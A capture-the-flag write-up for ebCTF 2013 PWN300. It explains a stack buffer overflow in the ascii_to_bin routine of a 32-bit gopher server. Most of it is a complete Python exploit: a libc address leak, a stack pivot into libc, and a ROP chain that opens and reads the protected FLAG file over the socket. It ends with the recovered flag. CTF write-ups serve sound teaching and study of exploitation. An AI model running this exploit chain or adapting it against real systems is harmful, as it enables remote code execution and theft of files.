ebCTF 2013: PWN300
gopherd
is a linux elf32 gopher server which respond to simple requests:
- a request just composed of
"\r\n"
will makegopherd
return its list of files, - a request
"MD5\r\n"
will make gopherd return the content of the file with the matching MD5.
Unfortunaly, the server replaces the contents of any file called "FLAG"
by "ACCESS DENIED"
Step 1: The vuln
The vuln is in the function ascii_to_bin
used to transform ascii MD5 to binary MD5.
A simple buffer overflow can occur because the output buffer (in the caller stack frame) is too small to handle a big string.
So by requesting a long string, we will be able to rewrite the return address of the caller function.
But there is another problem in ascii_to_bin
function!
The function logically uses two ascii chars to generate one bin char but iters over strlen(input_string)
so it generates the good binary for the hash we send but also write len(input_string)
garbage after, based on what comes after input_string
that we can’t control.
So, if we just give gopherd
a hash that will rewrite the return address of the caller: we will fill the caller args with garbage.
So here is a part of read_from_client
:
We can see that, directly after the call to ascii_to_bin
, the function calls hashlist_find
with haslist_addr
as first argument.
hashlist_addr
is an argument of the caller that have been randomly rewritten by ascii to bin
.
So to pass the call function to hashlist_find
, hashlist_addr
need to be a valid pointer with [ptr + 4] == 0
(because hashlist_find
simply iters on the values in [ptr +4]
and zero will make it return immediately without any problem.
An address from the beginning of .data
will be perfect.
Step 2: the sploit
So, at this point, here is the format of our exploit string:
sploit = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + ret_addr + 'AAAAAAAA' + hashlist_addr
It seems that ROP would be a good idea here, so let’s start!
The first thing to do is to set ret_addr
at a pop_pop_ret
address to remove hashlist_addr
from the stack.
After that, we will be in a totally controlled ROP environment.
BUT: there is another problem!
The length of the read
that the gopherd
do is just 255 bytes long.
And we know that:
- each address is encoded on 8 bytes (addresses must be encoded in ascii for
ascii_to_bin
), - we consume 96 chars to trigger the vuln in a exploitable way.
So we can just use: (255 - 96) / 8 = 19
values in our ROP payload: it won’t be enough to perform an
"open/read/write"
payload.
So we need to find a stack pivot!
RopMount
didn’t find a good stackpivot in gopherd
.
But we know that ebCTF is using Ubuntu 12.04 LST: so let’s try in the libc!
$ python2 ropmount.py --dump "pop esp; ret" remote_libc.so.6
---
pop esp; ret:
[base + 0x38b4] pop esp;ret
....
We have some nice and simple stack pivot in the remote libc!
So the attack will consist in 3 phases:
-
Step 1:
- ROP in
gopherd
to leak an address of the libc, - use this addr to build step 2 and 3.
- ROP in
-
Step 2:
- ROP to read stage 3 and put it in at a known location and pivot on it!
-
Step 3:
- full ROP with no length limitation,
-
I chose the following method:
- read the file name from the socket,
- open it,
- read it,
- send content to the socket!
Step 3: The full script
Here is the code used for each step with comments:
import socket
import struct
import sys
import ropmount
import time
SERVERD= "54.217.15.93"
PORTD=7070
REMOTE = SERVERD, PORTD
LIBC = "./remote_libc.so.6"
###HELPERS
def int_to_strformat(x):
"""transform a raw int to the good str for remote ascii_to_bin"""
nb = hex(struct.unpack(">I", struct.pack("<I", x))[0])[2:]
return "0" * (8 - len(nb)) + nb
def ropchain_to_str(ropchain):
"""transform a ropchain to a good str to remote ascii_to_bin"""
str_rop = ""
for addr, size in ropchain.stack.dump():
str_rop += int_to_strformat(addr)
return str_rop
###EXPLOIT
##STEP 1
#The address in DATA with [ptr + 4] == 0
hashlist_addr = int_to_strformat(0x0804C0C0)
#We ROP on the gopherd binary
rpc = ropmount.rop_from_files(["./gopherd"])
#Here is the pop_pop_ret to clean the stack before ROP
pop_pop_ret = rpc.find("{2,2} pop REG32; ret")
#The presumed FD of our socket
socket_fd = 4
#Get the GOT addr of read
read_plt = rpc.get_symbols()['read.got'].value
#Build STEP1 ROP (write was not into gopherd PLT)
#Just doing send(socket_fd, read_got_addr, 4, 0)
ropchain = rpc.assemble("call send,{0},{1},4,0".format(socket_fd, read_plt))
#build the full exploit string for STEP1
sploit = ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
int_to_strformat(pop_pop_ret.vaddr.dump()[0]) + '42424242' + hashlist_addr + ropchain_to_str(ropchain))
#Send Step 1 and recv read addr in remote libc
s = socket.create_connection(REMOTE)
s.send(sploit + "\r\n")
addr = s.recv(4)
s.close()
read_addr = struct.unpack("<I", addr)[0]
##STEP 2
#Now we ROP on gopherd AND the libc
full_rpc = ropmount.rop_from_files(["./gopherd", LIBC])
#Get libc_base from leaked addr + read offset into libc
libc_base = read_addr - full_rpc.mapfile[LIBC].get_symbols()['read'].value
print("libc base : {0}".format(hex(libc_base)))
#Tell to ropmount where is located remote libc to craft RopStack
full_rpc.mapfile[LIBC].fix_baseaddr(libc_base)
#Buffer used to store filename
buff = 0x0804C0C0
#New stack location for the pivot
new_stack = buff + 100
#Assemble STEP2 :
# - read STEP3 into new_stack
# - set esp to new_stack
ropchain_load = full_rpc.assemble('call read,{1},{0},0x1000; set esp,{0}'.format(new_stack, socket_fd))
#Build the full exploit string for STEP2
sploit = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + int_to_strformat(pop_pop_ret.vaddr.dump()[0]) + '42424242' + hashlist_addr + ropchain_to_str(ropchain_load)
#Send STEP2
s = socket.create_connection(REMOTE)
s.send(sploit + "\r\n")
time.sleep(1)
#Now remote is waiting for STEP3
#STEP3
#The presumed socket of the newly opened file
file_fd = socket_fd - 1
#Assemble STEP3
# - read filename from socket_fd into buff
# - open file
# - read file into into buff
# - write buff into socket_fd
last_rop = full_rpc.assemble("call read,{1},{0},50; call open,{0},4;call read,{2},{0},100; call write,{1},{0},100".format(buff, socket_fd, file_fd))
#We are not passing through ascii_to_bin anymore: raw binary ROP
s.send(last_rop.stack.dump('raw'))
time.sleep(1)
#Now remote is waiting for filename
s.send("./goproot/FLAG")
#print content of filename
print("------")
print(s.recv(100))
Step 4: Launch
$ python2 client.py
libc base : 0xf7617000
------
0h my g0d, I am defeat.
Here, take this:
ebCTF{35a6673b2243c925e02e85dfa916036f}